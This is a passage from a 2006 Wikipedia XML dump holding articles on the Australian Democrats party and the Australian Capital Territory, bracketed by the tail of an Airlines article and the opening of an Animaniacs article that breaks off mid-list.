&quot;Flying Off Course: The Economics of International Airlines,&quot; 3rd edition. Rigas Doganis, Routledge, New York, 2002. 
&quot;The Airline Business in the 21st Century.&quot; Rigas Doganis, Routledge, New York, 2001.

[[Category:Aviation]]
[[Category:Airlines| ]]

[[da:Flyselskab]]
[[de:Fluggesellschaft]]
[[es:Línea aérea]]
[[fr:Compagnie aérienne]]
[[ko:항공사]]
[[id:Maskapai penerbangan]]
[[it:Compagnia aerea]]
[[nl:Luchtvaartmaatschappij]]
[[ja:航空会社]]
[[pl:Linie lotnicze]]
[[pt:Linha aérea]]
[[uk:Авіакомпанія]]
[[zh:航空公司]]</text>
    </revision>
  </page>
  <page>
    <title>Australian Democrats</title>
    <id>1943</id>
    <revision>
      <id>39089252</id>
      <timestamp>2006-02-10T17:18:06Z</timestamp>
      <contributor>
        <username>Hall Monitor</username>
        <id>265063</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/207.63.188.29|207.63.188.29]] ([[User talk:207.63.188.29|talk]]) to last version by 202.72.148.102</comment>
      <text xml:space="preserve"> {{Infobox_Australian_Political_Party |
  party_name       = Australian Democrats |
  party_logo       = [[Image:Ausdem_newlogo.JPG|200px]] |
  party_wikicolourid     = Democrats |
  leader           = [[Lyn Allison]] |
  foundation       = 1977 |
  ideology         = [[liberalism|social liberal]] |
  headquarters     = Level 1&lt;br&gt;16 National Circuit&lt;br&gt;Barton, ACT 2600 |
  holds_government = Nowhere|
  website          = [http://www.democrats.org.au Australian Democrats]|
  international = No affiliation
}}
The '''Australian Democrats''' (in regular parlance, just the '''Democrats'''), is an [[Australia|Australian]] social [[liberal parties|liberal party]] formed in 1977 from the earlier [[Australia Party]] by [[Don Chipp]], who left the [[Liberal Party of Australia]] to do so. His stated aim was to &quot;Keep the Bastards Honest&quot; (the &quot;bastards&quot; being politicians in general). Despite its name (and the name of the rival and [[Liberal conservatism|liberal conservative]] [[Liberal Party of Australia]]), the Australian Democrats can be considered the counterpart of European [[liberal parties]]. After a poor performance at the [[Australian legislative election, 2004|2004 federal election]], the Australian Democrats' future as a political force is in question.

==Policy==
The party's original support base was disaffected middle-class traditional Liberal voters from the centre-right Liberal Party's socially liberal, &quot;wet&quot; wing. The party aimed to combine liberal social policies with centrist economics. However, the major parties, including the [[social democracy|social democratic]] [[Australian Labor Party|Labor Party]], have moved to the right on economics since the early 1980s, shifting the 'centre' of Australian politics well to the right. Thus the  Democrats have come to be seen as leaning to the left on economic as well as social issues. 

The Democrats' agenda includes [[economic interventionism|interventionist economic]] policies, commitment to [[environmentalism|environmental]] causes, support for [[reconciliation]] with Australia's [[Indigenous Australians|indigenous population]] through such mechanisms as formal treaties, [[pacifism|pacifist]] approaches to international relations, and [[left-wing]] approaches to social issues such as sexuality and drugs, and constitutional and treaty protections for [[human rights]]. Its core support base is overwhelmingly [[tertiary education|tertiary-educated]], and [[middle class|middle-class]]. They also explicitly target voters who seek a brake on the powers of the government of the day to change things, with their long-term hold on the Senate balance of power.

The party has a platform of participatory democracy, with policies supporting [[proportional representation]] and [[citizen initiated referendum|citizens' initated referenda]]. Many important internal issues (such as electoral preselection and leadership) are decided by direct postal ballot of the membership. Although policies are theoretically set in a similar fashion, Democrat parliamentarians have extensive freedom in interpreting them.

==Support==
Support for the Democrats historically tended to fluctuate between about 5 and 10 percent of the population and was geographically concentrated around the wealthy dense [[Central Business District|urban neighbourhoods]] (known in Australia as the [[Central business district|&quot;inner-suburbs and CBD&quot;]]) of the [[Australian capital cities|capital cities]] (especially [[Adelaide, Australia|Adelaide]]). Therefore, they never managed to win a [[Australian House of Representatives|House of Representatives]] seat (despite coming close on a number of occasions). During the 1980s, 1990s and early 2000s they typically held one or two of the Federal [[Australian Senate|Senate]] seats in each state, as well as a handful of representatives in state parliaments and local councils.

However, the rise of the Greens and internal bickering in the early 2000s changed this, and the Democrats are now in heavy decline - receiving 1.24% nationally, and less than 3% of the vote at all but a handful of booths, even in their Adelaide heartland. Their voters are turning to the [[Liberal Party of Australia|Liberals]] (to the right) and [[Australian Greens|Greens]] (to the left) in almost equal numbers.

==Leadership==
The Democrats are notable for their willingness to elect female and [[Indigenous Australian]] parliamentary leadership. Of the party's ten leaders, six have been women. Aboriginal Senator [[Aden Ridgeway]] was deputy leader under Natasha Stott Despoja.

The leaders of the Australian Democrats have been:

* [[Don Chipp]] (1977-1986)
* [[Janine Haines]] (1986-1990)
* [[Janet Powell]] (1990-91)
* [[John Coulter]] (1991-93)
* [[Cheryl Kernot]] (1993-97)
* [[Meg Lees]] (1997-2001)
* [[Natasha Stott Despoja]] ([[6 April]] [[2001]] to [[21 August]] [[2002]])
* [[Brian Greig]] (2002)
* [[Andrew Bartlett]] (2002-2004)
* [[Lyn Allison]] (2004-present)

[[Andrew Bartlett]] is currently deputy leader.

==A short history==
In terms of percentage votes, the Democrats' electoral peak was probably the 1990 federal election.  The failure of then-leader Janine Haines to win a [[Division of Kingston|House of Representatives seat]] led to a leadership change; her successor, Janet Powell, was too radical for many in the party and lacked electoral appeal.  After an affair with another Senator, she lost the support of much of the caucus. These internal divisions damaged the party in the early 1990s, although recovery occurred under Cheryl Kernot.

During the [[Bob Hawke|Hawke]] and [[Paul Keating|Keating]] [[Australian Labor Party|Labor]] Governments (1983-96), which pursued [[economic rationalism|economic rationalist]] [[neoliberalism|neoliberal]] policies, the Democrats positioned themselves to the left of the ALP government and thus at the left end of mainstream Australian politics.  However, the party's progressive-liberal politics remained attractive to middle class [[Liberal Party of Australia|Liberal]] supporters who were disaffected by the Liberal party's social conservatism (&quot;wet&quot; Liberals).

After the election of the [[John Howard|Howard]] government in 1996, this philosophical division became apparent; there was no longer a single obvious location for the party on the political spectrum.  The left of the party was horrified by John Howard's policies, and wanted to undermine and block them whenever possible.  Others wanted to engage with the government, using the Senate balance of power to negotiate with it and moderate its legislation. The question was whether the Democrats should be a centrist party, at least on economics, (though socially liberal and environmentalist), ready in most cases to negotiate with the government of the day whether Liberal or Labor (the position suggested by the party's &quot;wet Liberal&quot; roots) or a left-wing party, to the left of both mainstream parties on economic as well as social policy, in strong and consistent opposition to the Liberals and willing to take an obstructionist approach in the Senate to the Howard government's legislative program (a position on the political spectrum more similar to the [[Australian Greens|Greens]]). 

This conflict manifested itself in tensions over Cheryl Kernot's policy on [[industrial relations]] (see the [[Workplace Relations Act]] of 1996). Under Kernot, after negotiations and some compromises from the government, the Democrats voted for the Howard Government's right-leaning industrial relations legislation which decreased union power and allowed a larger role for individual employer-employee contracts. Kernot, however, remained both ambitious and broadly opposed to the Liberal government. This, together with her personal ambition for a role in government, lead her to defect to the ALP in 1997. Initially both Labor and the Democrats benefitted from Kernot's move, with polls showing that the Democrats had attracted a significant &quot;sympathy vote&quot;. In the [[Australian legislative election, 1998|1998 federal election]], the Democrats came within 3% of taking Liberal Foreign Minister [[Alexander Downer]]'s seat of [[Division of Mayo|Mayo]] in the Adelaide Hills under Australia's [[Preferential voting|preferential voting]] system.

Internal conflict over the government's proposed [[Goods and Services Tax]] (GST), during the 1998 federal election and in Parliament in 1999 was extremely damaging to the Democrats. Meg Lees campaigned on a modified GST platform, opposing the GST on food and books. After negotiations with Prime Minister [[John Howard|Howard]], Meg Lees and Andrew Murray (both part of the centrist element within the Democrats) agreed to support the GST legislation with exemptions for most food and some medicines. Many left-wing Democrat voters and a large number of party members regarded this as a betrayal, and two senators on the party's left, [[Natasha Stott Despoja]] and [[Andrew Bartlett]], voted against the GST. 

After very poor state election results in 2001, Lees was replaced by the articulate young left-leaning senator, [[Natasha Stott Despoja]]. Stott Despoja worked hard to bring dissafected former Democrat voters back in the 2001 federal election, although she was not able to bring back enough voters to prevent the loss of a seat to Greens Senator [[Kerry Nettle]], indicating the loss of Democrat votes on the left. (The task was not made any easier by the [[Tampa affair]].) Ongoing tensions between Stott Despoja and Lees (who quit the party in 2002, but was supported by some of the Senators, nicknamed the [[Gang of Four (disambiguation)|Gang of Four]] by the media) forced a protracted leadership battle in 2002, which eventually led to the election of Senator Andrew Bartlett as leader. However, the tension led to [[Meg Lees]] leaving the party and becoming an independent, which deprived the Democrats of the balance of power in the Senate and greatly lessened their relevance and media exposure. 

Since the decision to support the GST in 1999, and especially after the very public infighting in 2002, the Democrats have suffered a severe decline in public support. Although the left-right division within the parliamentary party and between the parliamentary party and the grass roots membership has existed for many years, the recent leadership battles have created bitterness within the party, and exposed the disunity to public scrutiny. With the [[Australian Greens]] picking up many of their voters on the left, and some voters from the centre returning to the Liberals, the Democrats are facing their greatest crisis to date. 

At the height of the disunity in 2002, most political observers believed that the party would soon split or disappear as a serious force in Australian politics. Under Senator Bartlett's leadership the Democrats found a degree of stability and an end to public feuding, but they have made little progress toward recovering their traditional share of electoral support and are now largely ignored by the media. 

On [[6 December]] [[2003]], Andrew Bartlett stepped aside temporarily as leader of the party, after an incident in which he assaulted [[Liberal Party of Australia|Liberal]] Senator [[Jeannie Ferris]] on the floor of [[Parliament of Australia|Parliament]] while intoxicated. The party issued a statement stating that Deputy Leader [[Lyn Allison]] would serve as the Acting Leader of the party.  Bartlett apologised to the Democrats, Jeannie Ferris and the Australian public for his behaviour and assured all concerned that it would never happen again. On [[January 29]] [[2004]], after seeking medical treatment, Bartlett returned to the Democrats leadership. Andrew Bartlett has not consumed any alcohol since that incident.

Almost totally ignored by the media during the election campaign, the Democrats suffered a massive loss of support at the [[Australian legislative election, 2004|2004 Federal election]], reducing them to 1.24% of the national vote. Nowhere was this more noticeable than in their key support base of suburban [[Adelaide]], where they received between 7 and 31% of the Lower House vote at polling booths in 2001, and between 1% and 4% in 2004. None of their Senators up for re-election survived the vote. Most electoral analysts concluded that, while most of the party's left-wing support had gone to the Greens (who now had an equal number of Senate seats with the Democrats and seemed to have taken their place as the leading minor party), many of the party's centrist middle-class voters from a 'wet Liberal' background had returned to the Liberal Party, helping the Howard Government to win a majority in the Senate, the first government to do so for a quarter of a century. With their Senate numbers almost halved, the Democrats face complete annihilation at the next election if the 2004 result is repeated. 

Following the loss, Bartlett stated that he would not stand down, but in the following month swapped positions with Allison, with Allison becoming the new leader and Bartlett the deputy. However, Allison, like Bartlett, has failed to gain any real media exposure or to increase the party's support in opinion polls.  

On [[1 July]] [[2005]] the Democrats lost most of their remaining parliamentary influence when the senators elected in 2004 were sworn in, giving the governing Coalition outright control of the Senate. On [[5 January]] [[2006]], the ABC reported that the State Electoral Commission of Tasmania had deregistered that branch of the party for failing to provide a list of members.

==See also==
*[[Liberalism]]
*[[Liberalism worldwide]]
*[[List of liberal parties]]
*[[Liberal democracy]]
*[[Timeline of (small-l) liberal parties in Australia]]

===External links===
*[http://www.democrats.org.au/ Australian Democrats] official site
*[http://www.andrewbartlett.com/ Senator Andrew Bartlett]
*[http://www.sa.democrats.org.au/html/ Australian Democrats (SA)]
*[http://www.vic.democrats.org.au/ Australian Democrats (VIC)]
*[http://www.wa.democrats.org.au/ Australian Democrats (WA)]
*[http://www.nsw.democrats.org.au/ Australian Democrats (NSW)]
*[http://www.nt.democrats.org.au/ Australian Democrats (NT)]
*[http://www.qld.democrats.org.au/ Australian Democrats (QLD)]
*[http://www.tas.democrats.org.au/ Australian Democrats (TAS)]
*[http://www.act.democrats.org.au/ Australian Democrats (ACT)]
*[http://andrewbartlettonline.blogspot.com/ Andrew Bartlett's personal blog]
*[http://www.um.com.au/outsiders/ Outsiders: Australian politics discussion site for Democrats]

{{Australian political parties}}

[[Category:Liberal parties]]
[[Category:Political parties in Australia]]

[[pl:Australian Democrats]]</text>
    </revision>
  </page>
  <page>
    <title>Australian Capital Territory</title>
    <id>1944</id>
    <revision>
      <id>41848887</id>
      <timestamp>2006-03-02T03:20:59Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/61.69.12.17|61.69.12.17]] ([[User talk:61.69.12.17|talk]]) to last version by Naconkantari</comment>
      <text xml:space="preserve">{{redirect|ACT}}
{{Australia state or territory |
  Name            = Australian Capital Territory |
  Fullname        = Australian Capital Territory |
  Flag            = Flag of the Australian Capital Territory.svg |
  the             = the |
  CoatOfArms      = Canberra_coat_of_arms.jpg |
  Map             = Australian Capital Territory locator-MJC.png |
  Motto           = &quot;Pro Rege, Lege et Grege&quot; (For the Queen, the Law and the People) |
  Nickname        = (none)|
  Capital         = [[Canberra]]|
  ChiefType       = Chief Minister|
  Chief           = [[Jon Stanhope]] |
  ChiefParty      = [[Australian Labor Party|ALP]] |
  Viceroy         = None |
  ViceroyType     = Administrator |
  PostalAbbreviation = ACT |
  EntityAdjective = Territorial |
  GSP             = $13,928 |
  GSPYear         = 2001-02 |
  GSPRank         = 6&lt;sup&gt;th&lt;/sup&gt; |
  GSPPerCapita    = $43,168 |
  GSPPerCapitaRank = 2&lt;sup&gt;nd&lt;/sup&gt; |
  AreaRank        = 8&lt;sup&gt;th&lt;/sup&gt; |
  TotalArea       = 2,358 |
  LandArea        = 2,358 |
  WaterArea       = 0 |
  HighestElev     =[[Mount Bimberi|Mt. Bimberi]] (1,912 m)|
  LowestElev      =[[Murrumbidgee River]] (429 m)|
  PercentWater    = 0 |
  PopulationRank  = 7&lt;sup&gt;th&lt;/sup&gt; |
  Population      = 325,100 |
  PopulationYear  = End of March [[2005]]|
  DensityRank     = 1&lt;sup&gt;st&lt;/sup&gt; |
  Density         = 137.87 |
  TimeZone        = [[UTC10|UTC+10]] ([[UTC11|+11]] [[Daylight Saving Time|DST]]) |
  HouseSeats      = 2 |
  SenateSeats     = 2 |
  ISOCode         = AU-CT |
  Website         = www.act.gov.au
}}
The '''Australian Capital Territory''' ('''ACT''') is the [[capital territory]] of the [[Australia|Commonwealth of Australia]] and its smallest, but most populous, self-governing territory. It is an inland [[enclave]] in [[New South Wales]], situated in [[bush]]land.

The ACT was conceived during the federation conventions of the late 1800s as neutral location for a new National Capital. The [[Constitution of Australia|Australian Constitution]] provided that following [[Federation of Australia|Federation]] in 1901, land would be ceded to the new [[Government of Australia|Federal Government]]. The Territory was transferred to the Commonwealth by the state of [[New South Wales]] in 1911, and construction of the capital, [[Canberra]], began in 1913. 

The [[floral emblem]] of the ACT is the [[Wahlenbergia gloriosa|Royal Bluebell]] and the faunal emblem is the [[Gang-gang cockatoo]].

==History==
{{main|History of the Australian Capital Territory}}
Before European settlement the area now known as the ACT was inhabited by three [[Indigenous Australians|Aboriginal tribes]]: the [[Ngunnawal people|Ngunnawal]], [[Walgalu]], and [[Ngarigo]].

White exploration and settlement did not occur until the [[1820s]]. From 1824 onwards, settlements and homesteads, and ultimately some small townships such as [[Hall, Australian Capital Territory|Hall]] and [[Tharwa, Australian Capital Territory|Tharwa]], were established in the area. 

One homestead of special historical interest was Lambrigg, near Tharwa. This was the place in which [[William Farrer]] developed the [[rust (fungus)|rust]]-resistant Federation [[wheat]] strain that had a major beneficial effect on Australia's wheat industry. Farrer died at Lambrigg in 1906.  

When the [[Constitution of Australia|constitution]] for the [[Commonwealth of Australia]] was being negotiated between the colonies, [[Melbourne]] was nominated as the Capital city of Australia, however, [[Sydney]] disputed this and wanted to become the capital. To cease the dispute created by [[Sydney]] a new capital city would be built. When finally decided, the Constitution specified that the new capital city would be located in territory taken from [[New South Wales]], but be at least 100 [[statute miles]] from Sydney.

The present site was chosen in 1908{{ref|GovAct1908}}, with additional territory at [[Jervis Bay Territory|Jervis Bay]] (now a naval base on the NSW coast) allocated so the national capital could have a seaport. In 1909 New South Wales transferred the land for the territory to federal control and in 1910 an act of parliament created the legal framework for the territory{{ref|SeatofGov1909}}{{ref|SeatGovAct1910}}. The Minister for Home Affairs, [[King O'Malley]], who had charge of the legislation creating the ACT, also proposed a bill making the ACT an alcohol-free area.  With his strong support, the bill became law later that year. In 1911 an international design competition was held, which was won by [[Walter Burley Griffin]]. The official naming of Canberra and its official construction began on [[March 12]], [[1913]].

The seat of the Federal Government officially moved to the ACT from Melbourne on the formal opening of the [[Provisional Parliament House]] on [[9 May]] [[1927]]. Among the first acts passed by the parliament in its new location was the repealing of the prohibition laws. At first the public service continued to be based in Melbourne, but the various departments were gradually moved to Canberra over many years.

The territory was initially known as the Federal Capital Territory (FCT). In 1938, the territory was formally named the Australian Capital Territory.

In a 1978 referendum, Canberrans rejected self-government by 63% of the vote {{ref|PatWACT}}.  Despite this, in December 1988, the ACT was granted full self-government through an Act of the Commonwealth Parliament that made the ACT a body politic under the crown{{ref|SelfGovAct1988}}. Following the first elections in February 1989, a 17-member Legislative Assembly sat at its offices in London Circuit, Civic, on [[May 11]], [[1989]]. The [[Australian Labor Party]] formed the ACT's first government, led by the Chief Minister [[Rosemary Follett]], who made history as Australia's first female head of government.

==Geography==
[[Image:ACT-Jervis Bay-Sydney-MJC.png|left|thumb|125px|Location of the ACT and Jervis Bay]]
Apart from [[Canberra]] city, the Australian Capital Territory also contains agricultural land ([[domestic sheep|sheep]], [[dairy cattle]], [[vineyard]]s and a small amount of crops), and a large area of national park ([[Namadgi National Park]]), much of it mountainous and forested. Small townships and communities located within the ACT include Williamsdale, Naas, [[Uriarra, Australian Capital Territory|Uriarra]], [[Tharwa, Australian Capital Territory|Tharwa]] and [[Hall, Australian Capital Territory|Hall]].

Tidbinbilla is a locality to the south-west of Canberra that features the [[Tidbinbilla Nature Reserve]] and the [[Canberra Deep Space Communications Complex]], operated by [[NASA]] as part of its [[Deep Space Network]].

There are a large range of mountains, rivers and creeks in the Namadgi National Park. These include the Naas and Murrumbidgee Rivers.

In 1915 the ''[[Jervis Bay Territory Acceptance Act 1915]]'' created the [[Jervis Bay Territory]] as an annexe to the Australian Capital Territory. In 1988 when the ACT gained self-government, Jervis Bay became a separate territory administered by the Minister for Territories.

===Climate===
Because of its elevation and distance from the coast, the Australian Capital Territory experiences four distinct seasons, unlike many other Australian cities whose climates are moderated by the sea. Canberra is notorious for hot, dry summers, and cold winters with heavy [[fog]] and frequent [[frost]]s. Many of the higher mountains in the territory's south-east are snow covered for at least part of the winter. [[Thunderstorm]]s can occur between October and March, and annual rainfall is 623&amp;nbsp;[[millimetre|mm]], with rainfall maximums in spring and summer and minimum in winter.

'''Highest maximum temperature:''' 42.2&amp;nbsp;°C (108.0&amp;nbsp;°F), [[Canberra]], [[1 February]] [[1968]]

'''Lowest minimum temperature:''' -10.0&amp;nbsp;°C (14.0&amp;nbsp;°F), [[Canberra]], [[11 July]] [[1971]]

===Geology===
{{main|Natural history of the Australian Capital Territory}}
Notable geological formations in the Australian Capital Territory include the ''Canberra Formation'', the ''Pittman Formation'', ''Black Mountain Sandstone'' and ''State Circle Shale''.

In the 1840s [[fossil]]s of [[brachiopod]]s and [[trilobite]]s from the [[Silurian]] period were discovered at Woolshed Creek near [[Duntroon, Australian Capital Territory|Duntroon]]. At the time these where the oldest fossils discovered in Australia, though this record has now been far surpassed.{{ref|Woolshedheritage}} Other specific geological places of interest include the State Circle cutting and the Deakin anticline.{{ref|StateCircleCutting}}{{ref|DeakinAnticlineNT}}

The oldest rocks in the ACT date from the [[Ordovician]] around 480 million years ago. During this period the region along with most of Eastern Australia was part of the ocean floor; formations from this period include the ''Black Mountain Sandstone'' formation and the ''Pittman Formation'' consisting largely of [[quartz]]-rich [[sandstone]], [[siltstone]] and [[shale]]. These formations became exposed when the ocean floor was raised by a major [[orogeny|volcanic activity]] in the [[Devonian]] forming much of the east coast of Australia.

==Governance==
{{see also|Australian Capital Territory Legislative Assembly}}
[[Image:ACT Legislative Assembly.JPG|thumb|The ACT Legislative Assembly building]]
The ACT has internal self-government, but it does not have the legislative independence of the Australian states. It is governed by a Ministry headed by a Chief Minister (currently [[Jon Stanhope]], [[ALP|Australian Labor Party]]). Laws are made in a 17-member [[Australian Capital Territory Legislative Assembly|Legislative Assembly]] that has all state and local government functions. However, its decisions can be overruled by the Australian Government under section 122 of the [[Australian Constitution]]. (See also [[Electoral systems of the Australian states and territories]]). The ACT Government is a member of the [[Council of Australian Governments]].

Unlike other self-governing Australian territories (e.g. [[Norfolk Island]], [[Northern Territory]]), the ACT does not have an Administrator. The Crown is represented by the [[Governor-General of Australia]] in the government of the ACT.

In Australia's [[Parliament of Australia|Federal Parliament]], the ACT is represented by four members: two [[Australian Senate|Senators]], and two members of the [[Australian House of Representatives|House of Representatives]]; the [[Division of Fraser]] and the [[Division of Canberra]].

==Demographics==
In the 2001 census the population of the ACT was 311,947, of which only 429 were outside Canberra. The ACT median weekly income for people aged over 15 was in the range $500-$599 while the population living outside Canberra was at the national average of $300-$399. The average level of education in the ACT is significantly higher than the national average. Within the ACT 4% of the population have a postgraduate degree compared to just 1.4% in the whole of Australia.

==Education==
{{main|Education in the Australian Capital Territory}}
[[Image:Canberra school of art.JPG|right|thumb|[[Australian National University|ANU]] school of art, originally built as Canberra High School]]
Almost all educational institutions in the Australian Capital Territory are located within [[Canberra]]. The ACT public education system schooling is normally split up into [[Pre-School]], [[Primary School]] (K-6), [[High School]] (7-10) and [[College#Australia|College]] (11-12) followed by studies at [[university]] or [[TAFE]]. Many private high schools include years 11 and 12 and are referred to as colleges.

In February 2004 there were 140 [[List of schools in the Australian Capital Territory|public and non-governmental schools]] in Canberra; 96 were operated by the Government and 44 are non-Government.{{ref|ABSACTSchools}} In 2005 there where 60,275 students in the ACT school system. 59.3% of the students where enrolled in government schools with the remaining 40.7% in non-government schools. There where 30,995 students in primary school, 19,211 in high school, 9,429 in College and a further 340 in special schools. {{ref|ACTenrolments}}

As of May 2004, 30% of people in the ACT aged 15&amp;ndash;64 had a level of educational attainment equal to at least an [[bachelor's degree]], significantly higher that the national average of 19%. {{ref|2004Education}} The two main tertiary institutions are the [[Australian National University]] (ANU) in [[Acton, Australian Capital Territory|Acton]] and the [[University of Canberra]] (UC) in [[Bruce, Australian Capital Territory|Bruce]]. There are also two religious university campuses in Canberra: Signadou is a campus of the [[Australian Catholic University]] and St Mark's Theological College is a campus of [[Charles Sturt University]]. Tertiary level vocational education is also available through the multi-campus [[Canberra Institute of Technology]].

The [[Australian Defence Force Academy]] (ADFA) and the [[Royal Military College, Duntroon]] (RMC) are in the suburb of [[Campbell, Australian Capital Territory|Campbell]] in Canberra's inner northeast. ADFA teaches [[military]] [[undergraduate]]s and [[Quaternary education|postgraduate]]s and is officially a [[campus]] of the [[University of New South Wales]] while Duntroon provides [[Australian Army]] [[Officer (armed forces)|Officer]] [[training]].

==References==
{{sisterlinks|Australian Capital Territory}}
#{{note|GovAct1908}}[http://www.foundingdocs.gov.au/item.asp?dID=110 National Archives of Australia - Seat of Government Act 1908 (Cth)]
#{{note|SeatofGov1909}}[http://www.foundingdocs.gov.au/item.asp?sdID=93 National Archives of Australia - Seat of Government Acceptance Act 1909 (Cth)]
#{{note|SeatGovAct1910}}[http://www.foundingdocs.gov.au/item.asp?dID=111 National Archives of Australia - Seat of Government (Administration) Act 1910 (Cth)]
#{{note|PatWACT}}[http://www.parliament.curriculum.edu.au/act.php3 Parliament@Work - At a Glance Australian Capital Territory]
#{{note|SelfGovAct1988}}[http://www.foundingdocs.gov.au/item.asp?dID=118 National Archives of Australia - Australian Capital Territory (Self-Government) Act 1988 (Cth)]
#{{note|Woolshedheritage}}[http://www.environment.act.gov.au/Files/heritageregister20010.pdf ACT Heritage Register - Woolshed Creek Fossil Site]
#{{note|StateCircleCutting}}[http://www.deh.gov.au/cgi-bin/ahdb/search.pl?mode=place_detail;place_id=105733 Australian Heritage Database - State Circle Cutting]
#{{note|DeakinAnticlineNT}}[http://www.act.nationaltrust.org.au/places/deak-anti.html National Trust of Australia - Deakin Anticline]
#{{note|ABSACTSchools}}Australian Bureau of Statistics. 2005. [http://www.abs.gov.au/Ausstats/abs@.nsf/94713ad445ff1425ca25682000192af2/849f25e83fc56ff2ca257079007b87c6!OpenDocument Schools in the ACT]
#{{note|ACTenrolments}}ACT Department of Education and Training. 2005. [http://www.decs.act.gov.au/publicat/pdf/ACT_Gov_NonGov_Enrol_1995_2005.pdf Enrolments in ACT Schools 1995 to 2005]
#{{note|2004Education}}Australian Bureau of Statistics. 2005. [http://www.abs.gov.au/ausstats/abs@.nsf/94713ad445ff1425ca25682000192af2/71bcf1841bfa37f9ca256f84007c28f5!OpenDocument Education in the ACT]

{{Australia}}

[[Category:Australian Capital Territory|*]]

[[ca:Territori de la Capital Australiana]]
[[da:Australian Capital Territory]]
[[de:Australian Capital Territory]]
[[et:Austraalia pealinna ala]]
[[es:Territorio de la Capital Australiana]]
[[fr:Territoire de la capitale australienne]]
[[id:Australian Capital Territory]]
[[is:Höfuðborgarsvæði Ástralíu]]
[[it:Australian Capital Territory]]
[[he:טריטוריית הבירה האוסטרלית]]
[[ka:ფედერალური ტერიტორია (ავსტრალია)]]
[[lt:Australijos sostinės teritorija]]
[[lb:Australeschen Haaptstadterritoire]]
[[nl:Australisch Hoofdstedelijk Territorium]]
[[no:Australian Capital Territory]]
[[ja:オーストラリア首都特別地域]]
[[pl:Australijskie Terytorium Stołeczne]]
[[ru:Территория федеральной столицы]]
[[scn:Australian Capital Territory]]
[[sv:Australian Capital Territory]]
[[uk:Австралійська столична територія]]</text>
    </revision>
  </page>
  <page>
    <title>Animaniacs</title>
    <id>1945</id>
    <revision>
      <id>41949657</id>
      <timestamp>2006-03-02T20:56:20Z</timestamp>
      <contributor>
        <ip>68.9.127.177</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">:''This article is about the television series. For the ''[[Tiny Toon Adventures]]'' episode of the same name, see [[Animaniacs! (Tiny Toons episode)]].''

{{Infobox_television |
  show_name = Animaniacs |
  image = [[Image:Animaniacs.jpg|center|250px]] |
  caption = Animaniacs logo featuring [[Yakko, Wakko, and Dot]] plus [[Pinky and the Brain]]. |
  rating = {{TV-G}} |
  format = [[Animated series]] |
  runtime = 30 minutes |
  creator = &lt;!-- none credited --&gt; |
  starring = [[Rob Paulsen]] &lt;br&gt; [[Jess Harnell]] &lt;br&gt; [[Tress MacNeille]] &lt;br&gt; [[Maurice LaMarche]] &lt;br&gt; [[Sherri Stoner]] &lt;br&gt; [[Nathan Ruegger]] &lt;br&gt; [[John Mariano]] &lt;br&gt; [[Chuck Vennera]] &lt;br&gt; [[Bernadette Peters]] &lt;br&gt; [[Frank Welker]] &lt;br&gt; [[Nancy Cartwright (actress)|Nancy Cartwright]] &lt;br&gt; [[Julie Brown]] &lt;br&gt; [[Laura Mooney]] |
  country = [[United States|USA]] |
  network = [[Fox Broadcasting|FOX]] (1993-1995) &lt;br&gt; [[The WB Television Network|The WB]] (1995-1998) |
  first_aired = [[1993]] |
  last_aired = [[1998]] |
  num_episodes = 99 |
|}}

'''''Steven Spielberg Presents Animaniacs''''' was a popular [[United States|American]] [[animated television series]], distributed by [[Warner Bros.]], and produced by [[Amblin Entertainment]]. The cartoon, usually referred to by the shorter title '''''Animaniacs''''', first aired on [[Fox Broadcasting Company|FOX]] from [[1993]] until [[1995]]; the show appeared on [[The WB Television Network|The WB]] as part of its &quot;Kids' WB&quot; afternoon programming block from [[1995]] to [[1998]]. Like many other animated series, it has continued to appear on television through [[Television syndication|syndication]] long after its original airdate.

''Animaniacs'' was the second animated series produced by the collaboration of [[Steven Spielberg]] and [[Warner Bros. Animation]] during the [[Modern animation of the United States|animation renaissance]] of the [[1990s]].  The studio's first series, ''[[Tiny Toon Adventures]],'' had proved to be a big hit among younger viewing audiences, and it had attracted a sizable number of adult viewers as well.  ''Tiny Toon Adventures'' had drawn heavily from the classic [[Termite Terrace]] cartoons of old for inspiration, as well as plots and characterization.  The modern Warner Bros. writers and animators used the experience gained from the previous series to create brand new animated characters that were cast in the mold of [[Tex Avery]]'s and [[Bob Clampett]]'s creations, but were not slavish imitations.

The show itself was a [[variety show]], with many short skits featuring a large cast of unique characters. Each episode was traditionally composed of three short mini-episodes, each starring a different set of characters.

== The Animaniacs: the Warner Brothers (and the Warner Sister) ==
This show focused on the adventures, or more accurately, misadventures of the [[Yakko, Wakko, and Dot|Warner Bros. (Yakko and Wakko Warner) and the Warner Sister (Dot)]], who claim to be the stars of some of the early Warner Bros. [[animated cartoon]]s, which were so [[insane]] that the studio execs locked them away in the [[water tower]] at Warner Bros. Studios in [[Burbank, California]].  This description of the Warners is a tongue-in-cheek homage to [[Bosko]], Warner Bros.' first cartoon character, whose cartoons were not highly regarded by many people.

The red-nosed Warner siblings bear a striking resemblance to the portrayals of Bosko and his girlfriend Honey (who look remarkably like Dot and Yakko) in a 1990 episode of ''[[Tiny Toon Adventures]]'' entitled ''Fields of Honey'', also created by Steven Spielberg. Afraid that the portrayals of Bosko and Honey might be deemed controversial, they were changed to anthropomorphic doglike characters, and that episode served as the &quot;bridge&quot; between ''Tiny Toon Adventures'' and ''Animaniacs''.

Originally, the Warners were intended to be [[ducks]], but producer [[Tom Ruegger]] realized they'd been done enough by [[The Walt Disney Company|Disney]] (see ''[[DuckTales]]''), so he made them indeterminate children.  He also modeled their personalities a bit after his three sons (who all did voices on the series at one time or another).

== ''Animaniacs'' characters ==
''Animaniacs'' introduced a number of recurring characters, including:

* [[Yakko, Wakko, and Dot]] - the &quot;Warner Brothers&quot; (and the Warner Sister), voiced by [[Rob Paulsen]], [[Jess Harnell]], and [[Tress MacNeille]].  Yakko (the oldest) is a fast-talking smart aleck, reminiscent at times of [[Groucho Marx]].  Wakko (the middle child) has a huge appetite and a gaggy bag filled with tricks (and an accent oddly reminiscent of [[Ringo Starr]]), and Dot (the youngest) is cute and sassy, and uses her apparent innocence to manipulate and torment those who stand in her way. The Warners are some of the few characters that actually appear in all the short skits, usually being chased by Ralph. Most other characters are confined to their own segments.
* [[Dr. Otto Scratchansniff]] - the [[Austria]]n-accented studio [[psychiatrist]], voiced by Rob Paulsen, who attempts to force the Warners to be less &quot;zany&quot;
